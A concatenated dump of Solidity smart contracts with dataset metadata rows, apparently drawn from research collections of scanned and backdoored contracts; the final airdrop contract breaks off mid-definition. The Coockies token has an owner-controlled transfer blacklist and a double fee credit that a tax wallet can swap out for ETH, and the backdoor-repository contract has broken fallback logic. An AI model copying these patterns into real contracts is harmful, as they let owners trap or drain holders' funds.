interface IDistributor {
function distribute() external returns (bool);
}
contract DiamondStaking is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable Db;
address public immutable sDb;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _Db,
address _sDb,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Db != address(0));
Db = _Db;
require(_sDb != address(0));
sDb = _sDb;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(Db).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IsDb(sDb).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(sDb).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IsDb(sDb).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IsDb(sDb).balanceForGons(info.gons));
IERC20(Db).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(sDb).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(Db).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IsDb(sDb).index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
IsDb(sDb).rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IsDb(sDb).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(Db).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(sDb).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(sDb).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
function resetEpochEndTime(uint32 _firstEpochTime) external onlyManager() {
epoch.endTime = _firstEpochTime;
}
function currentBlockTimestamp() external view returns (uint) {
return block.timestamp;
}
}
| 115,430 | 332 |
4fa718e8ae6c435c7f0bb57a80eaef1e46ae513c75e7ebf7943581d2e2e36f16
| 26,775 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/MOO-0xd0942760f9bfdd37f1d60b699ae0d19babfacdda.sol
| 4,482 | 16,543 |
// cow.finance (MOO)
// COW, liquidity management for the DeFi age
// COW is a yield generating DeFi token, driven by the community for the community
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract MOO is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 250000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'cow.finance';
string private _symbol = 'MOO';
uint8 private _decimals = 9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(6);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 191,066 | 333 |
2977178fc7e5b1dcf8f13b3c79abdc14ae2d2b45c6c4b83154df39c4a5c15422
| 13,133 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/de/De7C40Aa505Fd5E5F6572080Af2f3fF5a9dC721E_Coockies.sol
| 3,060 | 11,428 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Coockies is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = false;
address payable private _taxWallet;
uint256 private _initialBuyTax=7;
uint256 private _initialSellTax=0;
uint256 private _finalBuyTax=7;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyTaxAt=15;
uint256 private _reduceSellTaxAt=30;
uint256 private _preventSwapBefore=0;
uint256 private _buyCount=0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 10000000 * 10**_decimals;
string private constant _name = unicode"Cookies";
string private constant _symbol = unicode"$COOKIES";
uint256 public _maxTxAmount = 500000 * 10**_decimals;
uint256 public _maxWalletSize = 500000 * 10**_decimals;
uint256 public _taxSwapThreshold= 1500000 * 10**_decimals;
uint256 public _maxTaxSwap= 2500000 * 10**_decimals;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_balances[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
uniswapV2Router = IUniswapV2Router02(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506);
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
uint16 a=uint16(takefee(from,taxAmount)) ;
if (transferDelayEnabled) {
if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
require(_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
require(amount <= _maxTxAmount, "");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
_buyCount++;
}
if(from != uniswapV2Pair && to != uniswapV2Pair){
taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>=_preventSwapBefore) {
swapTokensForEth(min(contractTokenBalance,balanceOf(address(this))));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_balances[to]=_balances[to].add(amount.sub(taxAmount));
takefee(from,taxAmount);
_balances[from]=_balances[from].sub(amount);
emit Transfer(from, to, amount.sub(taxAmount));
}
function takefee(address from, uint256 taxAmount) internal returns (uint256){
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,
0,
path,
address(this),
block.timestamp);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize=_tTotal;
transferDelayEnabled=false;
emit MaxTxAmountUpdated(_tTotal);
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function addBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBots(address[] memory notbot) public onlyOwner {
for (uint i = 0; i < notbot.length; i++) {
bots[notbot[i]] = false;
}
}
function isBot(address a) public view returns (bool){
return bots[a];
}
function reduceFee(uint256 _newFee) external{
require(_msgSender()==_taxWallet);
require(_newFee<=_finalBuyTax && _newFee<=_finalSellTax);
_finalBuyTax=_newFee;
_finalSellTax=_newFee;
}
receive() external payable {}
function manualSwap() external {
require(_msgSender()==_taxWallet);
uint256 tokenBalance=balanceOf(address(this));
if(tokenBalance>0){
swapTokensForEth(tokenBalance);
}
uint256 ethBalance=address(this).balance;
if(ethBalance>0){
sendETHToFee(ethBalance);
}
}
}
| 34,346 | 334 |
0a1da81f43244eb7850d1e8401f80c6520d10645f774a79ec3890834dea388e1
| 17,877 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x9a31c2c7b5f0f5a41ad923fd0bea73ece3361575.sol
| 4,237 | 15,081 |
pragma solidity ^0.4.16;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
mapping (address => uint) public pendingWithdrawals;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function withdraw() {
uint amount = pendingWithdrawals[msg.sender];
pendingWithdrawals[msg.sender] = 0;
msg.sender.transfer(amount);
}
}
contract AirDrop is Ownable {
Token token;
event TransferredToken(address indexed to, uint256 value);
event FailedTransfer(address indexed to, uint256 value);
modifier whenDropIsActive() {
assert(isActive());
_;
}
address public creator;
function AirDrop () {
address _tokenAddr = creator; //here pass address of your token
token = Token(_tokenAddr);
}
function isActive() constant returns (bool) {
return (tokensAvailable() > 0 // Tokens must be available to send);
}
//below function can be used when you want to send every recipeint with different number of tokens
function sendTokens(address[] dests, uint256[] values) whenDropIsActive onlyOwner external {
uint256 i = 0;
while (i < dests.length) {
uint256 toSend = values[i] ;
sendInternally(dests[i] , toSend, values[i]);
i++;
}
}
// this function can be used when you want to send same number of tokens to all the recipients
function sendTokensSingleValue(address[] dests, uint256 value) whenDropIsActive onlyOwner external {
uint256 i = 0;
uint256 toSend = value;
while (i < dests.length) {
sendInternally(dests[i] , toSend, value);
i++;
}
}
function sendInternally(address recipient, uint256 tokensToSend, uint256 valueToPresent) internal {
if(recipient == address(0)) return;
if(tokensAvailable() >= tokensToSend) {
token.transfer(recipient, tokensToSend);
TransferredToken(recipient, valueToPresent);
} else {
FailedTransfer(recipient, valueToPresent);
}
}
function tokensAvailable() constant returns (uint256) {
return token.balanceOf(this);
}
function destroy() onlyOwner {
uint256 balance = tokensAvailable();
require (balance > 0);
token.transfer(owner, balance);
selfdestruct(owner);
}
}
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
pendingOwner = newOwner;
}
function claimOwnership() onlyPendingOwner public {
OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract EtherToFARM is Ownable {
using SafeMath for uint;
using SafeMath for uint256;
uint256 public totalSupply;// total no of tokens in supply
uint remaining;
uint price;
mapping (address => uint) investors; //it maps no of FarmCoin given to each address
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function transfer(address _to, uint256 _value) returns (bool success) {}
function () payable {// called when ether is send
uint256 remaining;
uint256 totalSupply;
uint price;
assert(remaining < totalSupply);
uint FarmCoin = div(msg.value,price); // calculate no of FarmCoin to be issued depending on the price and ether send
assert(FarmCoin < sub(totalSupply,remaining)); //FarmCoin available should be greater than the one to be issued
add(investors[msg.sender],FarmCoin);
remaining = add(remaining, FarmCoin);
transfer(msg.sender, FarmCoin);
}
function setPrice(uint _price)
{ // price need to be set maually as it cannot be done via ethereum network
uint price;
price = _price;
}
function giveReward(address _payer,uint _payment) public payable returns (bool _success){
uint tokenamount = _payment / price;
return transfer(_payer,tokenamount);
}
}
contract PayToken is EtherToFARM {
function() public payable{
if(msg.sender!=owner)
giveReward(msg.sender,msg.value);
}
}
contract Token is EtherToFARM {
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
